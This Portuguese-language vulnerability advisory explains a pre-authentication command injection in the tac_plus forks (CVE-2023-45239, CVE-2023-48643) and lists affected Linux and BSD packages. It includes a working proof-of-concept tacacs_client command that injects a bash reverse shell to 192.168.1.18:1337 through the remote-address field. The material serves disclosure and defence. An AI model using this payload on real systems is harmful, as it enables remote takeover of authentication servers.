
Vulnerabilidade de Execução Remota de Comandos Pré-Autenticação no tac_plus (CVE-2023-45239 e CVE-2023-48643)
Este repositório contém informações sobre uma vulnerabilidade de execução remota de comandos sem autenticação em diferentes implementações de código aberto do tac_plus. Os dois forks a seguir são afetados:
No entanto, ambos os forks são baseados em um kit de desenvolvimento da Cisco para TACACS+ que foi aberto como código-fonte há mais de 16 anos. A vulnerabilidade já existia no kit de desenvolvimento e foi incorporada em ambos os projetos. Deve-se notar que esta pesquisa focou apenas nos dois forks mencionados acima; pode haver outros forks também afetados.
O gráfico a seguir mostra a relação entre os forks, todos estão afetados:
-----------------
| Kit de desenvolvimento Cisco |
-----------------
↑
bifurcado a partir de
|
----------------------
| Shrubbery Networks |
| CVE-2023-48643 |
----------------------
↑
bifurcado a partir de
|
------------------
| Facebook |
| CVE-2023-45239 |
------------------
Nenhuma fonte oficial para o kit de desenvolvimento da Cisco foi encontrada e ele não é mais mantido.
O exemplo a seguir faz referência ao código no repositório facebook/tac_plus porque ele está disponível no GitHub (o kit de desenvolvimento da Cisco e o fork do Shrubbery Networks são apenas tarballs). No entanto, o código afetado é o mesmo em todos os projetos.
Quando um pacote chega, a função start_session() é chamada para determinar o tipo do pacote recebido (autenticação, autorização ou contabilidade). Focamos em pacotes de autorização que são tratados por author() → do_author(), que então chama pre_authorization(). Esta função verifica se o nome de usuário no pacote TACACS+ possui um comando de pré-autorização configurado e o executa por meio de call_pre_process(). O arquivo de configuração a seguir (tac_plus.conf) mostra um usuário com um comando de pré-autorização configurado:
accounting file = /tmp/tac_acc.log
user=DEFAULT {
before authorization "/usr/local/sbin/tac_policy -- '$user' '$name' '$address'"
service = exec {
default attribute = permit
}
}
Esta função pega o comando configurado em pré-autorização e substitui variáveis (por exemplo, $user, $name ou $address) com valores do pacote TACACS+ recebido. No entanto, isso é feito sem qualquer validação ou sanitização de entrada.
A string de comando resultante será então passada para my_popen(), que executa a string de comando na seguinte chamada execl():
(void) execl("/bin/sh", "sh", "-c", cmd, (char *) NULL);
Isso permite a injeção de comandos adicionais por meio do campo de endereço remoto em pacotes TACACS+ (veja rem_addr, rem_addr_len em RFC8907). O mesmo potencialmente funciona para outros campos de entrada também.
Deve-se notar que a vulnerabilidade é acionada durante o processo de autenticação. Portanto, nenhuma senha é necessária, apenas um nome de usuário que exista na configuração!
A compilação e execução do tac_plus com esta configuração são descritas nas seções a seguir:
O comando a seguir executa o tacacs_client no daemon alvo com o usuário DEFAULT. O payload que aciona a vulnerabilidade está no campo de endereço remoto, definido via argumento de linha de comando --rem-addr:
export TACACS_PLUS_KEY=[REDACTED] # necessário apenas para configurações com chaves pré-compartilhadas
tacacs_client \
--host 192.168.1.100 \
--port 4949 \
--username DEFAULT \
--rem-addr "asd';bash -i >& /dev/tcp/192.168.1.18/1337 0>&1 #" \
authorize -c service=exec
Executar isso resultará em uma conexão de shell reversa para 192.168.1.18:1337. O nome de usuário deve ser um dos usuários que possuem uma diretiva de pré-autorização ou pós-autorização configurada no tac_plus.cfg. A lista de comandos final (-c service=exec) é necessária para atingir o caminho de código necessário, mas o valor não importa.
O pacote TACACS+ enviado pelo cliente é mostrado na captura de tela a seguir no Wireshark:

A captura de tela a seguir mostra uma sessão de depuração momentos antes da execução do comando injetado:

Várias distribuições Linux usam um dos dois forks afetados em seus pacotes oficiais (principalmente o fork do Shrubbery Networks). As tabelas a seguir mostram distribuições Linux e derivados BSD que usam o fork do Shrubbery Networks ou do Facebook no momento desta escrita. A lista não é exaustiva; outras distribuições/derivados provavelmente também estão afetados.
| Distribuição | Pacote | Fork |
|---|---|---|
| Fedora | tacacs | |
| Ubuntu | tacacs+ | Shrubbery Networks |
| OpenSUSE | tac_plus | Shrubbery Networks |
| Debian | tacacs+ | Shrubbery Networks |
| Arch Linux (AUR) | tacacs-plus | Shrubbery Networks |
| ... |
| Derivado | Porta | Fork |
|---|---|---|
| FreeBSD | tacacs | Shrubbery Networks |
| NetBSD | tacacs | Shrubbery Networks |
| ... |
Exemplos de como reproduzir este problema estão disponíveis nas seções a seguir: